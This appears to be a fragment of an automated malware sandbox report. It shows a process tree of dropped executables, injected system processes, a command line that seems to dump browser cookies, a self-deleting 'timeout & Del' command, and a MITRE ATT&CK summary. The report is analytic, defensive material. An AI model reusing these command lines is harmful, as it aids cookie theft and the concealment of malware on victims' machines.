C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:1080
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:5256
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:5076
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3776
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5016
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3840
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4232
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1596
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5580
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6096
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:5716
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:5452
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4808
-
C:\Users\Admin\AppData\Local\Temp\8062.exeC:\Users\Admin\AppData\Local\Temp\8062.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5412 -
C:\Users\Admin\AppData\Local\Temp\8062.exe"{path}"2⤵
- Executes dropped EXE
PID:3192
-
-
C:\Users\Admin\AppData\Local\Temp\8C4A.exeC:\Users\Admin\AppData\Local\Temp\8C4A.exe1⤵
- Executes dropped EXE
PID:3944 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\8C4A.exe"2⤵PID:4520
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:5024
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5596
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5340
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4200
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:3108
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
BITS Jobs
1Install Root Certificate
1Modify Registry
3Web Service
1